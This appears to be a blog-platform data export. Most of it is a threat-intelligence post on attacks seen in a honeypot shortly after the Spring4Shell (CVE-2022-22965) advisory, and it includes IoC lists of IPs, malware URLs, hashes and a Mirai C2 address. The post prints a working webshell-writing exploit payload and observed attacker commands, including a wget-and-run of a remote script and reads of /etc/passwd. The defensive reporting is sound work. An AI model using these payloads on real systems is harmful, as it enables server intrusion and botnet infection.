\n171.25.193.78 \tGermany \tAS198093 \tDFRI-AS \n172.104.93.152 \tJapan \tAS63949 \tLINODE-AP \n172.104.140.107 \tGermany \tAS63949 \tLINODE-AP \n172.104.159.48 \tGermany \tAS63949 \tLINODE-AP \n172.107.241.110 \tUnited States \tAS40676 \tAS40676 \n172.245.89.109 \tUnited States \tAS36352 \tAS-COLOCROSSING \n175.178.154.77 \tChina \tAS45090 \tCNNIC-TENCENT-NET-AP\n178.17.170.135 \tMoldova \tAS43289 \tTRABIA \n178.17.171.102 \tMoldova \tAS43289 \tTRABIA \n178.17.174.14 \tMoldova \tAS43289 \tTRABIA \n178.20.55.18 \tFrance \tAS29075 \tIELO \n182.255.45.211 \tChina \tAS6134 \tXNNET \n185.34.33.2 \tFrance \tAS28855 \tOCTOPUCE-AS \n185.36.81.95 \tLithuania \tAS133398 \tTELE-AS \n185.38.175.130 \tDenmark \tAS205235 \tLABITAT \n185.38.175.131 \tDenmark \tAS205235 \tLABITAT \n185.56.80.65 \tThe Netherlands \tAS43350 \tNFORCE \n185.82.126.13 \tLatvia \tAS52173 \tMAKONIX \n185.83.214.69 \tPortugal \tAS58110 \tIPVOLUME \n185.100.86.74 \tFinland \tAS200651 \tFlokiNET \n185.100.86.128 \tFinland \tAS200651 \tFlokiNET \n185.100.87.41 \tRomania \tAS200651 \tFlokiNET \n185.100.87.133 \tRomania \tAS200651 \tFlokiNET \n185.100.87.174 \tRomania \tAS200651 \tFlokiNET \n185.100.87.202 \tRomania \tAS200651 \tFlokiNET \n185.105.90.134 \tRussia \tAS205090 \tFIRST-SERVER-EUROPE \n185.107.47.171 \tThe Netherlands \tAS43350 \tNFORCE \n185.107.47.215 \tThe Netherlands \tAS43350 \tNFORCE \n185.107.70.56 \tThe Netherlands \tAS43350 \tNFORCE \n185.112.147.12 \tIceland \tAS44925 \tTHE-1984-AS \n185.129.62.62 \tDenmark \tAS57860 \tZENCURITY-NET \n185.163.119.0 \tGermany \tAS197540 \tnetcup-AS \n185.165.171.40 \tRomania \tAS200651 \tFlokiNET \n185.165.171.84 \tRomania \tAS200651 \tFlokiNET \n185.170.114.25 \tGermany \tAS197540 \tnetcup-AS \n185.174.101.214 \tUnited States \tAS8100 \tASN-QUADRANET-GLOBAL\n185.220.100.240 \tGermany \tAS205100 \tF3NETZE \n185.220.100.241 \tGermany \tAS205100 \tF3NETZE \n185.220.100.242 \tGermany \tAS205100 \tF3NETZE \n185.220.100.243 \tGermany \tAS205100 \tF3NETZE \n185.220.100.244 \tGermany \tAS205100 \tF3NETZE \n185.220.100.245 \tGermany \tAS205100 \tF3NETZE \n185.220.100.246 \tGermany \tAS205100 \tF3NETZE \n185.220.100.247 \tGermany \tAS205100 \tF3NETZE \n185.220.100.248 \tGermany \tAS205100 \tF3NETZE \n185.220.100.249 \tGermany \tAS205100 \tF3NETZE \n185.220.100.250 \tGermany \tAS205100 \tF3NETZE \n185.220.100.251 \tGermany \tAS205100 \tF3NETZE \n185.220.100.252 \tGermany \tAS205100 \tF3NETZE \n185.220.100.253 \tGermany \tAS205100 \tF3NETZE \n185.220.100.254 \tGermany \tAS205100 \tF3NETZE \n185.220.100.255 \tGermany \tAS205100 \tF3NETZE \n185.220.101.6 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.22 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.32 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.33 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.34 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.35 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.36 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.37 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.38 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.39 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.40 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.41 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.42 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.43 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.44 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.45 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.46 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.47 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.48 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.49 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.50 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.51 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.52 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.53 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.54 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.55 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.56 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.57 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.58 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.59 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.60 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.61 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.62 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.101.63 \tThe Netherlands \tAS208294 \tRELAYON \n185.220.102.240 \tThe Netherlands \tAS60729 \tZWIEBELFREUNDE \n185.220.102.245 \tThe Netherlands \tAS60729 \tZWIEBELFREUNDE \n185.220.102.249 \tThe Netherlands \tAS60729 \tZWIEBELFREUNDE \n185.220.102.254 \tThe Netherlands \tAS60729 \tZWIEBELFREUNDE \n185.220.103.7 \tUnited States \tAS4224 \tCALYX-AS \n185.226.67.169 \tGreece \tAS205053 \tAweb-ASN \n185.243.218.27 \tNorway \tAS56655 \tTERRAHOST \n185.246.188.95 \tBelgium \tAS3164 \tASTIMP-IT \n185.247.226.98 \tIceland \tAS200651 \tFlokiNET \n185.254.75.32 \tGermany \tAS3214 \tXTOM \n188.68.58.0 \tGermany \tAS197540 \tnetcup-AS \n192.42.116.23 \tThe Netherlands \tAS1101 \tIP-EEND-AS \n193.31.24.154 \tGermany \tAS197540 \tnetcup-AS \n193.110.95.34 \tSwitzerland \tAS13030 \tINIT7 \n193.111.199.64 \tGermany \tAS24961 \tMYLOC-AS \n193.218.118.95 \tUkraine \tAS207656 \tEPINATURA \n193.218.118.183 \tUkraine \tAS207656 \tEPINATURA \n193.218.118.231 \tUkraine \tAS207656 \tEPINATURA \n194.31.98.186 \tThe Netherlands \tAS213035 \tAS-SERVERION \n194.233.77.245 \tSingapore \tAS141995 \tCAPL-AS-AP \n195.176.3.19 \tSwitzerland \tAS559 \tSWITCH \n195.176.3.23 \tSwitzerland \tAS559 \tSWITCH \n198.54.128.102 \tUnited States \tAS11878 \tTZULO \n198.98.51.189 \tUnited States \tAS53667 \tPONYNET \n198.98.57.207 \tUnited States \tAS53667 \tPONYNET \n198.144.121.43 \tThe Netherlands \tAS206264 \tAMARUTU-TECHNOLOGY \n199.195.248.29 \tUnited States \tAS53667 \tPONYNET \n199.195.254.81 \tUnited States \tAS53667 \tPONYNET \n199.249.230.87 \tUnited States \tAS62744 \tQUINTEX \n203.175.13.118 \tChina \tAS141677 \tNATHOSTS-AS-AP \n204.8.156.142 \tUnited States \tAS10961 \tBGP-AS \n205.185.117.149 \tUnited States \tAS53667 \tPONYNET \n205.185.124.178 \tUnited States \tAS53667 \tPONYNET \n209.141.41.103 \tUnited States \tAS53667 \tPONYNET \n209.141.44.64 \tUnited States \tAS53667 \tPONYNET \n209.141.45.189 \tUnited States \tAS53667 \tPONYNET \n209.141.46.81 \tUnited States \tAS53667 \tPONYNET \n209.141.46.203 \tUnited States \tAS53667 \tPONYNET \n209.141.54.195 \tUnited States \tAS53667 \tPONYNET \n209.141.55.26 \tUnited States \tAS53667 \tPONYNET \n209.141.57.178 \tUnited States \tAS53667 \tPONYNET \n209.141.58.146 \tUnited States \tAS53667 \tPONYNET \n209.141.60.19 \tUnited States \tAS53667 \tPONYNET \n210.217.18.88 \tSouth Korea \tAS4766 \tKIXS-AS-KR \n211.20.42.23 \tChina \tAS3462 \tHINET \n212.107.30.157 \tChina \tAS41378 \tKirinoNET \n213.61.215.54 \tGermany \tAS8220 \tCOLT \n213.164.204.146 \tSweden \tAS8473 \tBAHNHOF \n217.138.199.93 \tCzech Republic \tAS9009 \tM247 \n```\n\n\nURL\n```\nhttp://107.174.133.167/gmpsl\nhttp://107.174.133.167/gi686\nhttp://107.174.133.167/garm\nhttp://107.174.133.167/gmips\nhttp://107.174.133.167/garm7\nhttp://107.174.133.167/gx86\nhttp://107.174.133.167/t.sh\nhttp://107.174.133.167/garm6\nhttp://107.174.133.167/garm5\nhttp://15.185.213.122:65123/javac\nhttp://15.185.213.122:65123\nbase64://be3f78b59fa14140b6cc8633bf705a75\nhttp://15.185.213.122:65123/java\nbase64://c08fec5682085417b0a039bdf47c38f2\n```\n\nMD5\n```\n4bcd19351697d04fb357ce5b36600207\n7d244e7bf48d6631b588cecae87e759d\n9c14d670a48bba4b7c047a01d417f8f2\n97a7a357b8290a7236a5fbf45f17569f\n7621f1a5e8db18f3ae30031122c9c397\n100674f1e3ecfb6fa244de4ba7fd2ae2\n329155ab45e244661a7725d81dfad740\n611630a580e33017be32de8c72625489\n650152a2fe78dfceceb4d1a1fdeaccb8\n400590515f0f1cf942fe734126be94e7\na8a36132632366c7f65066b23d6f7e4f\nb1124c862998bc4ab3ff8b1d471310a6\ncca63413e3ca6b834b6a4446768c5ccb\ndcc157b2c284ac676000d64dd33f3ec4\ne1190f07a6da91caaa317affc9512caa\neba95249cf0a51e300d7b6029cf7088e\nfb63e9a23dbf4124116471fcf3254283\nfd839753ca4d89c0ccd229b12f95827c\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 6246c342a5c41b00078fd09c |
post | null | 2022-04-01T14:58:55.000Z | 63873b9a8b1c1e0007f53013 | what-our-honeypot-sees-just-one-day-after-the-spring4shell-advisory-en | 0 | 2022-04-08T04:09:45.000Z | public | published | null | 2022-04-01T16:47:08.000Z | What Our Honeypot Sees Just One Day After The Spring4Shell Advisory | <!--kg-card-begin: markdown--><h3 id="background">Background</h3>
<p>On March 31, 2022, Spring issued a security advisory[<a href="https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement">1]</a> for the Spring4Shell vulnerability (CVE-2022-22965), this vulnerability has caused widespread concern in the security community.</p>
<p>When we looked back at our data, our threat hunting honeypot System[<a href="https://netlab.360.com/honeypot">2]</a> had already captured activities related to this exact vulnerability. After March 30, we started to see more attempts such as various webshells, and today, 2022-04-01 11:33:09(GMT+8), less than one day after the vendor released the advisory, a variant of Mirai, has won the race as the first botnet that adopted this vulnerability.</p>
<h3 id="spring4shellinthewildpropagation">Spring4Shell in the wild propagation</h3>
<p>Our honeypot system started to observe scans related to the Spring4Shell vulnerability (CVE-2022-22965), the following diagram shows the geographic distribution of the scanner IP addresses that we have seen so far.<a href="__GHOST_URL__/content/images/2022/04/spring4shell_scanner_distribution.png"><img src="__GHOST_URL__/content/images/2022/04/spring4shell_scanner_distribution.png" class="kg-image"/></a></p>
<p>Top 10 country statistics</p>
<pre><code>United States 92
The Netherlands 49
Germany 30
China 21
France 6
Luxembourg 6
Sweden 6
Switzerland 5
Ukraine 5
Austria 4
</code></pre>
<p>We haven seen a large number of Webshell and test file upload behavior, the corresponding file information is shown below.<br>
<a href="__GHOST_URL__/content/images/2022/04/webshell.png"><img src="__GHOST_URL__/content/images/2022/04/webshell.png" class="kg-image"/></a></p>
<p>Some of the exploits that we have observed so far:</p>
<pre><code>echo%20ddfdsfasdfasd
echo%20fdsafasdfasd
echo%202222222
ls
ls%20/tmp/
whoami
%2Fbin%2Fsh%2F-c%24%7BIFS%7D%27cd%24%7BIFS%7D%2Ftmp%3Bwget%24%7BIFS%7Dhttp%3A%2F%2F107.174.133.167%2Ft.sh%24%7BIFS%7D-O-%A6sh%24%7BIFS%7DSpringCore%3B%27
cat+/etc/passwd
chdir
cmd /c dir
cmd /c net user
curl+http://111.4vcrkb.dnslog.cn/1.jpg
curl+http://12121.4vcrkb.dnslog.cn/1.jpg
curl+http://35456.4vcrkb.dnslog.cn/1.jpg
dir
echo
echo 8888888888
echo %USERNAME%
echo %computername%
echo </xss>
echo fucker_test_test
echo rinima
echo%20%3Csvg%20onload=confirm`xss`%3E
echo%20%3Csvg%20onload=confirm`xsssssss`%3E
echo%20ddfdsfasdfasd
echo%20fdsafasdfasd
echo%202222222
echo+22222
echo+`whoami`
echo+whoami
exp
id
ifconfig
ls
ls%20/tmp/
ping -n 2 uup0fk.dnslog.cn
ping uup0fk.dnslog.cn
uname
whoami
whoami%0A
</code></pre>
<h3 id="spring4shellvulnerabilitybrief">Spring4Shell Vulnerability brief</h3>
<p>Spring4Shell vulnerability (CVE-2022-22965) is caused by the new module feature in JDK version 9 and above, and is a bypass for the CVE-2010-1622 vulnerability patch.</p>
<h4 id="javabeans">Java Beans</h4>
<p>Java introspection manipulates JavaBean properties through reflection, the JDK provides the PropertyDescription class operation to access JavaBean properties, when operating on multiple properties, you can operate on all properties by traversing the property description object array.</p>
<p>Through the class Introspector to get the BeanInfo information of an object, and then the BeanInfo to get the property descriptor PropertyDescriptor, the property descriptor can get the getter/setter methods corresponding to a property, and then through the reflection mechanism to call these methods.<br>
For example, through the PropertyDescriptor[] assignment.</p>
<p>If the parent class properties is not needed, the second parameter of getBeanInfo Class beanClass, Class stopClass) is there, calling BeanInfo getBeanInfo(Class beanClass) directly, PropertyDescriptor[] will contain the parent class Object.class.</p>
<h4 id="cve20101622vulnerabilitybrief">CVE-2010-1622 Vulnerability brief</h4>
<p>CVE-2010-1622 vulnerability exists because "CachedIntrospectionResults class"of Spring Beans does not specify the stop class when calling java.beans.Introspector.getBeanInfo() enumeration property assignment, resulting in the parent class ( Object.class is the parent class of any java object) class property can be maliciously controlled by an attacker.</p>
<p>Spring parameter supports the user to submit a form in the form of parameters = value object assignment, while user.address.street = Disclosure + Str is equivalent to frmObj.getUser().getAddress().setStreet("Disclosure Str."). So a value can be assigned to the first class property in PropertyDescriptor[] by means of user.address.street=Disclosure+Str. If the class property is controlled through the classLoader, the exploit chain can be constructed.</p>
<p><strong>Vulnerability Patch</strong><br>
Spring patches the vulnerability by adding the classLoader to the property array blacklist.<br>
<a href="__GHOST_URL__/content/images/2022/04/patch.png"><img src="__GHOST_URL__/content/images/2022/04/patch.png" class="kg-image"/></a></p>
<h4 id="cve202222965vulnerabilitybrief">CVE-2022-22965 Vulnerability brief</h4>
<p>Similar to the CVE-2010-1622 vulnerability, another class parameter related issue.<br>
<a href="__GHOST_URL__/content/images/2022/04/class.png"><img src="__GHOST_URL__/content/images/2022/04/class.png" class="kg-image"/></a></p>
<p>CVE-2022-22965 is a bypass of patch CVE-2010-1622, in JDK11+Tomcat8.5.77+spring-webmvc5.3.17 version, we noticed that class.module.classLoader.* can load ParallelWebappClassLoader to bypass the detection of classLoader:<br>
<a href="__GHOST_URL__/content/images/2022/04/classloader.png"><img src="__GHOST_URL__/content/images/2022/04/classloader.png" class="kg-image"/></a></p>
<p>Exploit Payload that we saw</p>
<pre><code>class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=222
</code></pre>
<p>Here the pattern specifies the format of the log record, suffix specifies the log record suffix as .jsp, directory specifies the directory webapps/ROOT where the log is saved, prefix specifies the file name tomcatwar, fileDateFormat specifies the date format of the log file name. The whole payload uses Tomcat’s class AbstractAccessLogValve to modify the log storage format, directory and file name, so the webshell can be uploaded.</p>
<p><strong>Vulnerability Patch</strong><br>
A strict blacklist restrictions have been added<br>
<a href="__GHOST_URL__/content/images/2022/04/patch1.png"><img src="__GHOST_URL__/content/images/2022/04/patch1.png" class="kg-image"/></a></p>
<h3 id="miraibotnet">Mirai botnet</h3>
<p>As mentioned above, Mirai botnet has jumped on the wagon and the following is the relevant configuration information that has been decrypted.</p>
<pre><code> [0x01]: "46.175.146.159\x00", size=15
[0x02]: "A\x84", size=2
[0x03]: "D\xfd", size=2
[0x04]: "U better back the fuck off CIANigger >>>---<3-->\x00", size=49
[0x05]: "shell\x00", size=6
[0x06]: "enable\x00", size=7
[0x07]: "system\x00", size=7
[0x08]: "sh\x00", size=3
[0x09]: "/bin/busybox DEMONS\x00", size=20
[0x0a]: "DEMONS: applet not found\x00", size=25
[0x0b]: "ncorrect\x00", size=9
[0x0c]: "/bin/busybox ps\x00", size=16
[0x0d]: "assword\x00", size=8
[0x0e]: "ogin\x00", size=5
[0x0f]: "enter\x00", size=6
[0x10]: "/proc/\x00", size=7
[0x11]: "/exe\x00", size=5
[0x12]: "/fd\x00", size=4
[0x13]: "/maps\x00", size=6
[0x14]: "/proc/net/tcp\x00", size=14
[0x15]: "/etc/resolv.conf\x00", size=17
[0x16]: "nameserver\x00", size=11
[0x17]: "Pully\x13SHD\x1aiIGK\x1cDig\x13\x18}Bfpc]MkGp^b\x12[}P\x1b\\~m`b`^rc\x13Xeg\x13G\x1a\x12z*", size=57
[0x18]: "i586\x00", size=5
[0x19]: "i486\x00", size=5
[0x1a]: "x86\x00", size=4
[0x1b]: "i686\x00", size=5
[0x1c]: "mips\x00", size=5
[0x1d]: "mipsel\x00", size=7
[0x1e]: "mpsl\x00", size=5
[0x1f]: "sh4\x00", size=4
[0x20]: "superh\x00", size=7
[0x21]: "ppc\x00", size=4
[0x22]: "powerpc\x00", size=8
[0x23]: "spc\x00", size=4
[0x24]: "sparc\x00", size=6
[0x25]: "(deleted)\x00", size=10
[0x26]: "abcdefghijklmnopqrstuvwxyz\x00", size=27
[0x27]: "%d.%d.%d.%d\x00", size=12
[0x28]: "POST /cdn-cgi/\x00", size=15
[0x29]: "UPX!\x00", size=5
[0x2a]: "botnet\x00", size=7
[0x2b]: "ddos\x00", size=5
[0x2c]: "oginenterassword\x00", size=17
[0x2d]: "GET/ HTTP/1.1\x00", size=15
[0x2e]: "garm\x00", size=5
[0x2f]: "gx86\x00", size=5
[0x30]: "gmips\x00", size=6
[0x31]: "gmpsl\x00", size=6
[0x32]: "gsh4\x00", size=5
[0x33]: "gspc\x00", size=5
[0x34]: "gppc\x00", size=5
[0x35]: "gsec\x00", size=5
[0x36]: ".glm\x00", size=5
[0x37]: "cronx86\x00", size=8
[0x38]: "cronarm\x00", size=8
[0x39]: "cronmips\x00", size=9
[0x3a]: "cronmpsl\x00", size=9
[0x3b]: "cronsh4\x00", size=8
[0x3c]: "cronspc\x00", size=8
[0x3d]: "cronppc\x00", size=8
[0x3e]: "cronsh\x00", size=7
[0x3f]: "gi686\x00", size=6
[0x40]: "/dev/watchdog\x00", size=14
[0x41]: "/dev/misc/watchdog\x00", size=19
[0x42]: "/dev/FTWDT101_watchdog\x00", size=23
[0x43]: "/dev/FTWDT101 watchdog\x00\x12", size=24
[0x44]: "/dev/watchdog0\x00", size=15
[0x45]: "/etc/default/watchdog\x00", size=22
[0x46]: "/sbin/watchdog\x00", size=15
</code></pre>
<h4 id="somewebshellandtestfilesthatwehaveseensofar">Some Webshell and test files that we have seen so far</h4>
<table>
<thead>
<tr>
<th>filepath</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>/tmp/log222.txt</td>
<td>3973</td>
</tr>
<tr>
<td>webapps/ROOT/log111.txt</td>
<td>2051</td>
</tr>
<tr>
<td>webapps/ROOT/tomcatwar.jsp</td>
<td>110</td>
</tr>
<tr>
<td>webapps/ROOT/wpz.jsp</td>
<td>27</td>
</tr>
<tr>
<td>/../webapps/ROOT/logout.jsp</td>
<td>12</td>
</tr>
<tr>
<td>./webapps/ROOT/test2%20%20.txt</td>
<td>9</td>
</tr>
<tr>
<td>webapps/ROOT/log101.txt</td>
<td>7</td>
</tr>
<tr>
<td>/log_data_9.jsp</td>
<td>3</td>
</tr>
<tr>
<td>webapps/ROOT/xiaozhan.jsp</td>
<td>3</td>
</tr>
<tr>
<td>webapps/ROOT/1122.jsp</td>
<td>3</td>
</tr>
<tr>
<td>webapps/ROOT/0985763860781234.jsp</td>
<td>3</td>
</tr>
<tr>
<td>/2023.jsp</td>
<td>3</td>
</tr>
<tr>
<td>webapps/ROOT/zhuzhuxias.jsp</td>
<td>3</td>
</tr>
<tr>
<td>webapps/ROOT/log147.txt</td>
<td>2</td>
</tr>
<tr>
<td>webapps/ROOT/aaa69875.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log186.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa36917.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/member3war.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa96225.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log154.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log103.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log176.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/7FMNZ.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa28643.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa49231.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa50586.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log112.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log110.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa80751.jsp</td>
<td>1</td>
</tr>
<tr>
<td>/2021.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa10854.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log105.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa93089.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/35456.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log182.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa24348.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log131.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/indexbk.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log149.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log179.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/webappsbak/sxxd1648765386.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log150.txt</td>
<td>1</td>
</tr>
<tr>
<td>Webapps/ROOT/78754.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa24168.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa10487.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log178.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/lapsus</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/zhuzhuxia.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log135.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa40373.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/qweasd.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/console.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa79694.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa54378.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log129.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/pCJrI.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log162.txt</td>
<td>1</td>
</tr>
<tr>
<td>Webapps/ROOT/7875456457.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log200.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/8888888888.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/8888888888.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log128.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log124.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa14058.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa94175.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/conf.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/stupidRumor_war/tomcatwar.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa83816.jsp</td>
<td>1</td>
</tr>
</tbody>
</table>
<h3 id="recommendations">Recommendations</h3>
<p>Spring users should follow the vendor’s advisory, as the same time, users can check their systems for the aforementioned Webshell and test files paths for possible breach.</p>
<h3 id="contactus">Contact us</h3>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> or email us at <strong>netlab at 360 dot cn</strong> .</p>
<h4 id="ioclist">IoC List</h4>
<p>Mirai C2</p>
<pre><code>46.175.146.159:16772
</code></pre>
<p>IP</p>
<pre><code>1.85.220.54 China AS4134 CHINANET-BACKBONE
3.239.1.141 United States AS14618 AMAZON-AES
5.2.69.50 The Netherlands AS60404 Liteserver
14.0.170.249 China AS38819 HKCSL-AS-AP
23.128.248.10 United States AS398355 DATAIDEAS-LLC
23.128.248.11 United States AS398355 DATAIDEAS-LLC
23.128.248.12 United States AS398355 DATAIDEAS-LLC
23.128.248.13 United States AS398355 DATAIDEAS-LLC
23.128.248.14 United States AS398355 DATAIDEAS-LLC
23.128.248.15 United States AS398355 DATAIDEAS-LLC
23.128.248.16 United States AS398355 DATAIDEAS-LLC
23.128.248.17 United States AS398355 DATAIDEAS-LLC
23.128.248.19 United States AS398355 DATAIDEAS-LLC
23.128.248.20 United States AS398355 DATAIDEAS-LLC
23.128.248.21 United States AS398355 DATAIDEAS-LLC
23.128.248.22 United States AS398355 DATAIDEAS-LLC
23.128.248.23 United States AS398355 DATAIDEAS-LLC
23.128.248.24 United States AS398355 DATAIDEAS-LLC
23.128.248.25 United States AS398355 DATAIDEAS-LLC
23.128.248.27 United States AS398355 DATAIDEAS-LLC
23.128.248.28 United States AS398355 DATAIDEAS-LLC
23.128.248.29 United States AS398355 DATAIDEAS-LLC
23.128.248.33 United States AS398355 DATAIDEAS-LLC
23.128.248.34 United States AS398355 DATAIDEAS-LLC
23.128.248.38 United States AS398355 DATAIDEAS-LLC
23.128.248.39 United States AS398355 DATAIDEAS-LLC
23.128.248.40 United States AS398355 DATAIDEAS-LLC
23.128.248.41 United States AS398355 DATAIDEAS-LLC
23.128.248.42 United States AS398355 DATAIDEAS-LLC
23.128.248.43 United States AS398355 DATAIDEAS-LLC
23.128.248.44 United States AS398355 DATAIDEAS-LLC
23.128.248.46 United States AS398355 DATAIDEAS-LLC
23.128.248.48 United States AS398355 DATAIDEAS-LLC
23.128.248.50 United States AS398355 DATAIDEAS-LLC
23.128.248.51 United States AS398355 DATAIDEAS-LLC
23.128.248.53 United States AS398355 DATAIDEAS-LLC
23.128.248.54 United States AS398355 DATAIDEAS-LLC
23.128.248.55 United States AS398355 DATAIDEAS-LLC
23.128.248.56 United States AS398355 DATAIDEAS-LLC
23.128.248.57 United States AS398355 DATAIDEAS-LLC
23.128.248.58 United States AS398355 DATAIDEAS-LLC
23.128.248.59 United States AS398355 DATAIDEAS-LLC
23.128.248.60 United States AS398355 DATAIDEAS-LLC
23.128.248.61 United States AS398355 DATAIDEAS-LLC
23.128.248.62 United States AS398355 DATAIDEAS-LLC
23.128.248.63 United States AS398355 DATAIDEAS-LLC
23.128.248.64 United States AS398355 DATAIDEAS-LLC
23.128.248.65 United States AS398355 DATAIDEAS-LLC
23.129.64.130 United States AS396507 EMERALD-ONION
23.129.64.131 United States AS396507 EMERALD-ONION
23.129.64.132 United States AS396507 EMERALD-ONION
23.129.64.133 United States AS396507 EMERALD-ONION
23.129.64.134 United States AS396507 EMERALD-ONION
23.129.64.135 United States AS396507 EMERALD-ONION
23.129.64.136 United States AS396507 EMERALD-ONION
23.129.64.137 United States AS396507 EMERALD-ONION
23.129.64.138 United States AS396507 EMERALD-ONION
23.129.64.139 United States AS396507 EMERALD-ONION
23.129.64.140 United States AS396507 EMERALD-ONION
23.129.64.141 United States AS396507 EMERALD-ONION
23.129.64.142 United States AS396507 EMERALD-ONION
23.129.64.143 United States AS396507 EMERALD-ONION
23.129.64.145 United States AS396507 EMERALD-ONION
23.129.64.146 United States AS396507 EMERALD-ONION
23.129.64.147 United States AS396507 EMERALD-ONION
